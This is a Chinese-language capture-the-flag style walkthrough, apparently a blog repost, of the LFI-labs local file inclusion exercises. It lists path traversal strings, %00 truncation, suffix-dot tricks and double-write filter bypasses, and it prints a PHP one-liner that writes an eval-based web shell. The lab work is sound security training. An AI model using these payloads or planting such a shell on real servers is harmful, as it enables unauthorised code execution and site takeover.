1. 程式人生 > 實用技巧 >LFI-labs-master 通關筆記

LFI-labs-master 通關筆記

LFI-labs-master 通關筆記

LFI-1

第一個沒有任何過濾,直接是將我們的page引數包含 我們直接使用相對路徑“../../phpinfo.php” 包含我們想要執行的php檔案即可。

LFI-2

第二關是將我們傳入的library引數 前面加了“includes/” 後面加了“.php” 可以採用00截斷後面的“.php”

我們用“../../../phpinfo.php”執行即可

LFI-3

第三關取檔案最後面四位來判斷是不是.php 如果是的話就不給包含

繞過方法是在php後面加. “phpinfo.php.”或者“phpinfo.php/.” 因為在後綴名中 . / 等符號是不會識別的 在

LFI-4

第四關同樣末尾加了.php 前面加了“includes/class_” 還將變數用addslashes函式處理

採用“../../../../../phpinfo”通關(五個父路徑 去掉字尾名)

LFI-5

第五關將我們輸入的引數中的“../”過濾為空 我們可以雙寫進行繞過

補充知識:這裡用include()函式處理$file ,include函式會識別檔案中的php檔案並解析。

對於![1598082833548]

file_get_contents()函式是僅僅將檔案中的內容作為字串形式展示。

LFI-6

第六關用POST形式傳引數 用page=../../../phpinfo.php 即可

對於要寫入木馬,不同於GET傳參,要用額外的方法寫入shell

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[123])?>');?>

//fputs(file,str)將字串str寫入file

//fopen(file,w)開啟檔案file 如果沒有就新建一個 後面跟寫入內容/

後面的都是重複型的繞過,只不過是POST的。

總結一下:

  1. 我們可以直接包含絕對路徑檔案如 c:\boot.ini,或者用../訪問上一級目錄(相對路徑)。
  2. 對後面自動添加了字尾 用%00可以截斷
  3. php. 或者 php/. 是和php 一樣的字尾 用於繞過
  4. ../被替換為空可以雙寫 繞過